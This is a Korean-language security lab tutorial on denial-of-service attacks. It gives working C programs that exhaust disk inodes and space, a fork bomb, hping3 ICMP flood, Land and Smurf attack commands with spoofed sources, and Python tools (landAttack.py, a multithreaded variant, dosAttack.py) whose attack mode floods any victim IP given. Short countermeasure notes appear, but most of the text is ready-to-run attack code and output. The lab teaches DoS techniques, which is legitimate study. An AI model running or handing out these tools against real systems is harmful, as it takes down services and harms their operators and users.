###################
Local 에서 공격하는 DoS
###################
실습> 시스템의 디스크 고갈 공격
df -h: 파일의 용량
df -i: 파일의 개수
[root@victim3 ~]# df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 475M 0 475M 0% /dev
tmpfs 487M 0 487M 0% /dev/shm
tmpfs 487M 7.6M 479M 2% /run
tmpfs 487M 0 487M 0% /sys/fs/cgroup
/dev/mapper/centos-root 17G 1.7G 16G 10% /
/dev/sda1 1014M 138M 877M 14% /boot
tmpfs 98M 0 98M 0% /run/user/0
[root@victim3 ~]# df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
devtmpfs 121450 383 121067 1% /dev
tmpfs 124459 1 124458 1% /dev/shm
tmpfs 124459 729 123730 1% /run
tmpfs 124459 16 124443 1% /sys/fs/cgroup
/dev/mapper/centos-root 8910848 41187 8869661 1% /
/dev/sda1 524288 326 523962 1% /boot
tmpfs 124459 1 124458 1% /run/user/0
# vi diskDoS.c
/*
* 파일명: diskDoS.c
* 프로그램 설명: 디스크의 파일의 개수를 넘치게 해서 더이상 파일을
* 생성하지 못하게 만드는 공격이다.
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
int main()
{
int i = 1;
char cmd[50];
while(1)
{
sprintf(cmd, "touch /boot/.%d.txt", i);
//printf("%d\n", cmd);
system(cmd); // touch /boot/.1.txt
i += 1; // i++;
}
return 0;
}
# gcc -o diskDoS diskDoS.c
# file diskDoS
# ./diskDoS
다른 터미널에서 실행한다.
# watch df -i
:
:(생략)
touch: cannot touch `/boot/.58168.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58169.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58170.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58171.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58172.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58173.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58174.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58175.txt': 장치에 남은 공간이 없음
touch: cannot touch `/boot/.58176.txt': 장치에 남은 공간이 없음
Ctrl + Z > kill %1
[root@victim3 ~]# df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
devtmpfs 121450 383 121067 1% /dev
tmpfs 124459 1 124458 1% /dev/shm
tmpfs 124459 749 123710 1% /run
tmpfs 124459 16 124443 1% /sys/fs/cgroup
/dev/mapper/centos-root 8910848 41190 8869658 1% /
/dev/sda1 524288 524288 0 100% /boot
tmpfs 124459 1 124458 1% /run/user/0
/boot 디렉터리에 파일 개수가 모두 채워졌기 때문에 kernel이 업데이트가 되지 않는다.
kernel을 업데이트 하기 위해서는 파일 여섯개가 필요하므로 inode 여섯개가 최소 있어야 하는데 100% 이기 때문에
더이상 파일을 만들 수 없기 때문에 업데이트가 실패가 된다.
# yum -y update kernel
:
:(생략)
========================================================================================================
Package Arch Version Repository Size
========================================================================================================
Installing:
kernel x86_64 3.10.0-1160.76.1.el7 updates 50 M
Transaction Summary
========================================================================================================
Install 1 Package
Total download size: 50 M
Installed size: 64 M
Downloading packages:
Delta RPMs disabled because /usr/bin/applydeltarpm not installed.
kernel-3.10.0-1160.76.1.el7.x86_64.rpm | 50 MB 00:00:04
Running transaction check
Running transaction test
Transaction check error:
installing package kernel-3.10.0-1160.76.1.el7.x86_64 needs 6 inodes on the /boot filesystem
Error Summary
-------------
💥💥💥💥💥
대응방안: 디스크 쿼터를 통해서 파일시스템에서 파일의 용량/개수를 제한해야 한다.
테스트가 끝나면 원래대로 돌려놓는다.
파일의 개수가 너무 많으면 rm 명령어의 인수가 너무 많기 때문에 삭제가 안된다.
# cd /boot
# rm -fv .*.txt
bash: /usr/bin/rm: 인수 명단이 너무 김
# find -type f -name '.*.txt' -exec rm -fv {} \;
# find -type f -name '.*.txt' | xargs rm -fv
실습> 시스템의 디스크 고갈 공격
파일의 용량으로 시스템에 남아있는 디스크의 용량 채워서 DoS 공격을 시도한다.
https://ko.wikipedia.org/wiki/XFS
# useradd user1
# su - user1
$ vi diskDoS2.c
/*
* 파일명: diskDoS2.c
* 프로그램 설명: 디스크의 용량을 채워서 디스크를 사용하지 못하게 만드는 공격이다.
* 작성자: 리눅스마스터넷
*/
#include <unistd.h>
#include <sys/file.h>
int main()
{
char buffer[10000];
int fd;
int i = 1;
// /boot/diskDoS2.txt 파일을 생성한다.
fd = creat("/boot/diskDoS2.txt", 0644);
while(1)
{
// buffer에 있는 10,000씩
write(fd, buffer, sizeof(buffer));
}
close(fd);
return 0;
}
$ gcc -o diskDoS2 diskDoS2.c
$ ./diskDoS2
:
: <-- 시간이 지난 후 디스크의 남은 공간이 100%가 되면 Ctrl + C 를 눌러서 중지한다.
$ ls -lh /tmp/diskDoS2.txt
-rw-r--r--. 1 user1 user1 24G 8월 30 20:17 /tmp/diskDoS2.txt
$ df
Filesystem 1K-blocks Used Available Use% Mounted on
devtmpfs 919464 0 919464 0% /dev
tmpfs 931500 444504 486996 48% /dev/shm
tmpfs 931500 9864 921636 2% /run
tmpfs 931500 0 931500 0% /sys/fs/cgroup
/dev/mapper/centos-root 28289540 28289520 20 100% /
/dev/sda1 1038336 153776 884560 15% /boot
tmpfs 186304 0 186304 0% /run/user/1000
tmpfs 186304 0 186304 0% /run/user/0
$ df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 898M 0 898M 0% /dev
tmpfs 910M 435M 476M 48% /dev/shm
tmpfs 910M 9.7M 901M 2% /run
tmpfs 910M 0 910M 0% /sys/fs/cgroup
/dev/mapper/centos-root 27G 27G 20K 100% /
/dev/sda1 1014M 151M 864M 15% /boot
tmpfs 182M 0 182M 0% /run/user/1000
tmpfs 182M 0 182M 0% /run/user/0
HDD 용량이 없는 경우 발생하는 여러 문제점들
# useradd user2
useradd: /etc/passwd.115205: 장치에 남은 공간이 없음
useradd: /etc/passwd을(를) 잠글 수 없습니다. 나중에 다시 시도하십시오.
# yum -y remove kernel
Loaded plugins: fastestmirror
Skipping the running kernel: kernel-3.10.0-1160.el7.x86_64
Resolving Dependencies
--> Running transaction check
---> Package kernel.x86_64 0:3.10.0-1160.76.1.el7 will be erased
[Errno 28] 장치에 남은 공간이 없음: '//var/lib/yum/rpmdb-indexes/conflicts.tmp'
💥💥💥💥💥
대응 방안:
ulimit -a
기본값은 unlimited이므로 ulimit으로 file size를 제한한다.
디스크 쿼터를 이용해서 일반 유저를 제한해야 한다.
일반 유저가 쓰기 권한이 있는 파티션(/home, /tmp)을 분할해서 운영해야 한다.
테스트가 완료되면 파일을 삭제한다.
실습> 메모리 고갈 공격
# yum -y install man man-pages
# man fork
# vi fork.c
/*
* 파일명: fork.c
* 프로그램 설명: 자식 프로세스를 생성하는 fork()함수
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
int i = 1;
pid_t pid = fork();
// if문을 이용한 경우
if(pid == -1)
{
fprintf(stderr,"fork Error \n");
return 1;
}
if(pid == 0)
printf("Child process: %d, PID: %d\n", pid, getpid());
else
printf("Parent process: %d, PID: %d\n", pid, getpid());
return 0;
}
# gcc -o fork fork.c
# ./fork
Parent process: 60587, PID: 60586
# Child process: 0, PID: 60587
# vi fork2.c
/*
* 파일명: fork2.c
* 프로그램 설명: 자식 프로세스를 생성하는 fork()함수
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
int i = 1;
pid_t pid = fork();
// switch ~ case문을 이용한 경우
switch(pid)
{
case -1: fprintf(stderr,"fork Error \n");
break;
case 0: printf("Child process: %d, PID: %d\n", pid, getpid());
break;
default: printf("Parent process: %d, PID: %d\n", pid, getpid());
}
return 0;
}
# gcc -o fork2 fork2.c
# ./fork2
Parent process: 62154, PID: 62153
# Child process: 0, PID: 62154
# vi memoryDoS.c
/*
* 파일명: memoryDoS.c
* 프로그램 설명: 자식 프로세스를 생성하는 fork()함수를 무한루프로 실행해서
* 메모리를 고갈시키는 공격으로 더이상 자식 프로세스를 생성하지 못하게 만드는 공격이다.
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
#include <unistd.h>
int main()
{
while(1)
{
fork();
}
return 0;
}
명령어를 실행시키는 순간 시스템이 바로 다운된다.
# gcc -o memoryDoS memoryDoS.c
# ./memoryDoS
#####################
Remote 에서 공격하는 DoS
#####################
실습> ping of death
attacker: 200.200.200.3 Kali
victim3 : 200.200.200.6 CentOS7
1. 통신 확인
[root@kali ~]# ping -c 4 victim3.linuxmaster.net
PING victim3.linuxmaster.net (200.200.200.6) 56(84) bytes of data.
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=1 ttl=64 time=2.22 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=2 ttl=64 time=0.414 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=3 ttl=64 time=0.486 ms
64 bytes from 200.200.200.6 (200.200.200.6): icmp_seq=4 ttl=64 time=1.30 ms
--- victim3.linuxmaster.net ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.414/1.104/2.223/0.732 ms
2. 패킷 모니터링
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
3. ping 패킷 전송
-1: ICMP mode
-d 65000: 패킷 크기
200.200.200.6: 피해자
--flood 최대한 빠르게 전송
[root@kali ~]# hping3 -1 -d 65000 200.200.200.6 --flood
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
:
:(생략)
11:25:05.617333 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617344 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617347 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617359 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617361 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617374 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617376 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
11:25:05.617387 IP 200.200.200.6 > 200.200.200.3: ip-proto-1
4. 패킷 저장
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -w /var/www/html/icmpFlood.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
[root@kali ~]# time hping3 -1 -d 65000 200.200.200.6 --flood
^C
[root@victim3 ~]# tcpdump -i ens33 not port 22 and not arp -w /var/www/html/icmpFlood.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C
[root@victim3 ~]# tcpdump -r icmpFlood.pcap
[root@victim3 ~]# systemctl restart httpd
윈도우에서 icmpFlood.pcap 파일을 다운로드 받아서 와이샤크에서 분석한다.
http://200.200.200.6/icmpFlood.pcap
hping3 사용법
[root@kali ~]# hping3 --help
usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set don't fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-mss enable the TCP MSS option with the given value
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)
파이썬 쓰레드 (thread)
프로세스를 실행할 때 싱글 쓰레드로 실행된다.
프로세스를 병렬로 처리할 때 멀티 쓰레드(동시에 실행)를 사용한다.
프로세스에서 동작할 기능을 여러 개 작성해서 동시에 여러개 실행할 때 쓰레드를 이용한다.
지금까지 프로그램을 만든 것은 싱글 쓰레드(동작할 기능이 1개)로 실행한 것이다.
멀티 쓰레드(동작할 기능이 2개 이상)로 실행하는 프로그램을 작성할 것이다.
멀티 쓰레드로 동작할 기능을 함수로 만들어서 사용한다.
공식 문서: https://docs.python.org/ko/3/library/threading.html
쓰레드 사용 방법
1. threading 모듈 사용
2. 서브 쓰레드에서 사용할 함수, 클래스 정의
3. 서브 쓰레드 객체 생성
4. 서브 쓰레드 실행
5. 메인 쓰레드 실행
[root@kali ~]# vi threadTest1.py
#!/usr/bin/python
"""
파일명 : threadTest1.py
프로그램 설명 : 쓰레드 사용하기
"""
# 1. threading 모듈 사용
import threading
# 2. 서브 쓰레드에서 사용할 함수
def myFunction1():
print("myFunction1() 함수 실행(1 ~ 20) ")
for i in range(1, 21):
print(f'myFunction1: {i}')
# 3. 서브 쓰레드 생성
t1 = threading.Thread(target=myFunction1)
t1.start() # 4. 서브 쓰레드 실행
# 5. 메인 쓰레드 실행
name = input('이름: ')
print(f'입력한 이름은 {name}입니다.')
[root@kali ~]# chmod 755 threadTest1.py
[root@kali ~]# ./threadTest1.py
[root@kali ~]# vi threadTest2.py
#!/usr/bin/python
"""
파일명 : threadTest2.py
프로그램 설명 : 쓰레드 사용하기
"""
# 1. threading 모듈 사용
import threading
# 2. 서브 쓰레드에서 사용할 함수
def myFunction1():
print("myFunction1() 함수 실행(1 ~ 1000) ")
for i in range(1, 1001):
print(f'myFunction1: {i}')
def myFunction2():
print("myFunction2() 함수 실행(2000 ~ 3001) ")
for i in range(2000, 3001):
print(f'myFunction2: {i}')
# 3. 서브 쓰레드 객체 생성
t1 = threading.Thread(target=myFunction1)
t2 = threading.Thread(target=myFunction2)
# 4. 서브 쓰레드 실행
t1.start() # 첫 번째 서브 쓰레드 실행
t2.start() # 두 번째 서브 쓰레드 실행
# 5. 메인 쓰레드 실행
#myFunction1()
#myFunction2()
print('Main thread(4000 ~ 5000')
for i in range(4000, 4001):
print(f'Main thread: {i}')
[root@kali ~]# chmod 755 threadTest2.py
[root@kali ~]# ./threadTest2.py
실습> Land Attack
Land Attack:
출발지 IP주소와 목적지 IP주소가 같게 설정해서 패킷을 전송하는 공격이다.
목적지 IP주소는 victim을 말하기 때문에 출발지 주소도 victim의 IP주소가 된다.
1. 공격 시도
-1 or --icmp : ICMP mode 옵션
--flood: 패킷을 빠르게 보내는 옵션
-a or --spoof: 출발지 IP주소를 스푸핑하는 옵션
[root@kali ~]# hping3 200.200.200.6 -a 200.200.200.6 --icmp --flood
2. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
:
:(생략)
12:41:48.460361 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 22237, length 8
12:41:48.460363 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 22493, length 8
12:41:48.460388 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 22749, length 8
12:41:48.460389 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 46040, seq 23005, length 8
실습> 공격 툴 작성
1. 공격툴 작성
싱글 쓰레드, scapy 모듈을 사용하지 않은 공격툴을 작성한다.
[root@kali ~]# vi landAttack.py
#!/usr/bin/env python
# 파일명: landAttack.py
# 프로그램 설명: landAttack DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601
import sys
import os
if len(sys.argv) != 3:
help = f'Usage: {sys.argv[0]} victimIP debug\n'
help += 'victimIP: 공격 대상\n'
help += 'debug: 디버그 유무\n'
help += '- 1: 디버그 모드\n'
help += '- 0: 공격 모드'
print(help)
sys.exit(1)
victimIP = sys.argv[1]
debugMode = sys.argv[2]
def landAttack(victimIP, debug):
"""
함수 기능: Land Attack을 공격하는 함수
인수:
- victimIP: 공격 대상의 IP주소
- debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
리턴값: 없음.
"""
srcIP = victimIP
dstIP = srcIP
landAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'
if debug == '1':
print(">>> 디버그 모드 <<<")
print(landAttackCmd)
else:
print(">>> 공격 모드 <<<")
os.system(landAttackCmd)
landAttack(victimIP, debugMode)
2. 공격 툴 실행
실행파일로 권한을 변경한 후 실행한다.
[root@kali ~]# chmod 755 landAttack.py
인수가 없는 경우에는 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py
Usage: ./landAttack.py victimIP debug
victimIP: 공격 대상
debug: 디버그 유무
- 1: 디버그 모드
- 0: 공격 모드
인수를 IP주소만 사용한 경우 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 200.200.200.6
Usage: ./landAttack.py victimIP debug
victimIP: 공격 대상
debug: 디버그 유무
- 1: 디버그 모드
- 0: 공격 모드
인수를 IP주소와 디버그 모드를 사용한 경우에는 hping 명령어의 사용법을 보여주고 프로세스를 종료한다.
[root@kali ~]# ./landAttack.py 200.200.200.6 1
>>> 디버그 모드 <<<
hping3 200.200.200.6 -a 200.200.200.6 --icmp --flood
3. 패킷 모니터링
[root@victim3 ~]# tcpdump -nn -i ens33 not port 22 and icmp
4. 공격 모드로 공격 툴 실행
인수를 IP주소와 공격 모드를 사용한 경우에는 hping 명령어로 패킷을 Victim3에게 전송한다.
[root@kali ~]# ./landAttack.py 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
1. 공격툴 작성
멀티 쓰레드, scapy 모듈을 사용하지 않은 공격툴을 작성한다.
[root@kali ~]# vi ./landAttack2.py
#!/usr/bin/env python
# 파일명: landAttack.py
# 프로그램 설명: landAttack DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601
import sys
import os
if len(sys.argv) != 3:
help = f'Usage: {sys.argv[0]} victimIP debug\n'
help += 'victimIP: 공격 대상\n'
help += 'debug: 디버그 유무\n'
help += '- 1: 디버그 모드\n'
help += '- 0: 공격 모드'
print(help)
sys.exit(1)
victimIP = sys.argv[1]
debugMode = sys.argv[2]
def landAttack(victimIP, debug):
"""
함수 기능: Land Attack을 공격하는 함수
인수:
- victimIP: 공격 대상의 IP주소
- debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
리턴값: 없음.
"""
srcIP = victimIP
dstIP = srcIP
landAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'
if debug == '1':
print(">>> 디버그 모드 <<<")
print(landAttackCmd)
else:
print(">>> 공격 모드 <<<")
os.system(landAttackCmd)
# Multi thread 2개 실행
import threading
# target: 실행하고자 하는 함수/클래스의 이름을 사용하는 변수
# args: 함수/클래스에 인수를 넘길 때 사용하는 변수
th1 = threading.Thread(target=landAttack, args=(victimIP,debugMode)) # sub thread 1
th2 = threading.Thread(target=landAttack, args=(victimIP,debugMode)) # sub thread 2
th1.start() # Sub thread 실행
th2.start() # Sub thread 실행
# Main thread
landAttack(victimIP, debugMode)
2. 패킷 모니터링
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
3. 공격 툴 실행
실행파일로 권한을 변경한 후 실행한다.
[root@kali ~]# chmod 755 landAttack.py
4. 공격 모드로 공격 툴 실행
인수를 IP주소와 공격 모드를 사용한 경우에는 hping 명령어로 패킷을 Victim3에게 전송한다.
[root@kali ~]# ./landAttack2.py 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
실습> Single Thread VS Multi Thread
7초 정도 패킷을 전송하고 전송된 패킷 수를 비교한다.
💥💥💥
>>> 결론 <<<
싱글 쓰레드로 실행한 경우: 7.446초에 패킷 카운트 414,607개 전송
멀티 쓰레드로 실행한 경우: 7.169초에 패킷 카운트 2,106,329개 전송 (싱글 쓰레드보다 5배 차이)
1. Single Thread
싱글 쓰레드로 실행한 경우: 7.565초에 패킷 카운트 414,607
패킷을 모니터링 한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
공격 모드로 패킷을 전송한다.
[root@kali ~]# time ./landAttack.py 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
414607 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
real 0m7.565s
user 0m0.029s
sys 0m7.446s
패킷을 모니터링을 중지하고 패킷의 받은 개수를 확인한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
:
:(생략)
15:37:59.274362 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 6407, seq 2374, length 8
15:37:59.274391 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 6407, seq 2630, length 8
^C
139330 packets captured
414608 packets received by filter <-- 전송된 패킷 개수
275278 packets dropped by kernel
2. Multi Thread
멀티 쓰레드로 실행한 경우: 7초에 패킷 카운트 2106329
- 싱글 쓰레드보다 5배 차이가 발생되었다.
패킷을 모니터링 한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
공격 모드로 패킷을 전송한다.
[root@kali ~]# time ./landAttack2.py 200.200.200.6 0
>>> 공격 모드 <<<
>>> 공격 모드 <<<
>>> 공격 모드 <<<
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
630470 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
--- 200.200.200.6 hping statistic ---
726313 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
--- 200.200.200.6 hping statistic ---
749543 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
real 0m7.169s
user 0m2.575s
sys 0m14.850s
패킷을 모니터링을 중지하고 패킷의 받은 개수를 확인한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
:
:(생략)
15:41:04.617637 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 22279, seq 56431, length 8
15:41:04.617639 IP 200.200.200.6 > 200.200.200.6: ICMP echo request, id 22279, seq 56687, length 8
^C
136289 packets captured
2106329 packets received by filter <-- 전송된 패킷 개수
1970040 packets dropped by kernel
실습> Smurf Attack
Smurf Attack:
출발지 IP주소를 Victim으로 설정하고 목적지 네트워크의 브로드캐스트로 설정해서 패킷을 전송하는 공격이다.
패킷을 받은 네트워크에서 각 호스트로 패킷을 전송한다.
전송받은 호스트는 Victim에게 패킷을 전송한다.
1. 공격 시도
-1 or --icmp : ICMP mode 옵션
--flood: 패킷을 빠르게 보내는 옵션
-a or --spoof: 출발지 IP주소를 스푸핑하는 옵션
[root@kali ~]# hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood
2. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
:
:(생략)
14:00:36.869890 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 10533, seq 37030, length 8
14:00:36.869899 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 10533, seq 37286, length 8
14:00:36.869934 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 10533, seq 37286, length 8
14:00:36.870021 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 10533, seq 37542, length 8
14:00:36.870024 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 10533, seq 37542, length 8
실습> 인수 체크
[root@kali ~]# vi argvTest.py
#!/bin/python
"""
# 파일명: argvTest.py
# 프로그램 설명: 인수 체크
# 작성자: 리눅스마스터넷
# 버전: 2023031601
"""
import sys
# argv
argc = len(sys.argv)
print(argc)
print(sys.argv)
# 명령어만 쓰면 사용법을 출력하고 프로세를 종료한다.
if argc == 1:
sys.stderr.write(f"Usage: {sys.argv[0]} victim debug")
sys.exit(1)
print(f"{sys.argv[0]} {sys.argv[1]} {sys.argv[2]} ")
[root@kali ~]# chmod 755 argvTest.py
[root@kali ~]# ./argvTest.py
1
['./argvTest.py']
Usage: ./argvTest.py victim debug
[root@kali ~]# ./argvTest.py 200.200.200.6 1
3
['./argvTest.py', '200.200.200.6', '1']
./argvTest.py 200.200.200.6 1
실습> 공격 툴 작성
[root@kali ]# vi dosAttack.py
#!/usr/bin/env python
# 파일명: dosAttack.py
# 프로그램 설명: Land Attack, Smurf Attack을 지원하는 DoS 공격 툴
# 작성자: 리눅스마스터넷
# 버전: 2023031601
# argc: 3개 landAttack 공격 시도
# argc: 4개 smurfAttack 공격 시도
import sys
import os
argc = len(sys.argv)
if argc != 3 and argc != 4:
help = f'Land Attak Usage: {sys.argv[0]} victimIP debug\n'
help += 'victimIP: 공격 대상\n\n'
help += f'Smurf Attak Usage: {sys.argv[0]} BroadCastIP victimIP debug\n'
help += 'BroadCastIP: 공격 대상 브로드캐스트\n'
help += 'victimIP: 공격 대상\n\n'
help += 'debug: 디버그 유무\n'
help += '- 1: 디버그 모드\n'
help += '- 0: 공격 모드'
print(help)
sys.exit(1)
if argc == 3: # Land Attack
victimIP = sys.argv[1]
debugMode = sys.argv[2]
def landAttack(victimIP, debug):
"""
함수 기능: Land Attack을 공격하는 함수
인수:
- victimIP: 공격 대상의 IP주소
- debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
리턴값: 없음.
"""
srcIP = victimIP
dstIP = srcIP
landAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'
if debug == '1':
print(">>> 디버그 모드 <<<")
print(landAttackCmd)
else:
print(">>> 공격 모드 <<<")
os.system(landAttackCmd)
landAttack(victimIP, debugMode)
if argc == 4: # SmLand Attack
victimNetwork = sys.argv[1]
victimIP = sys.argv[2]
debugMode = sys.argv[3]
def smurfAttack(victimNetwork, victimIP, debug):
"""
함수 기능: Smurf Attack을 공격하는 함수
인수:
- victimNetwork: 공격 대상의 다이렉트 브로드캐스트주소
- victimIP: 공격 대상의 IP주소
- debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
리턴값: 없음.
"""
srcIP = victimNetwork
dstIP = victimIP
# hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood
smurfAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'
if debug == '1':
print(">>> 디버그 모드 <<<")
print(smurfAttackCmd)
else:
print(">>> 공격 모드 <<<")
os.system(smurfAttackCmd)
smurfAttack(victimNetwork, victimIP, debugMode)
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
[root@kali ~]# chmod 755 dosAttack.py
[root@kali ~]# ./dosAttack.py 200.200.200.255 200.200.200.6 1
>>> 디버그 모드 <<<
hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood
[root@kali bin]# ./dosAttack.py 200.200.200.255 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.255 (eth0 200.200.200.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
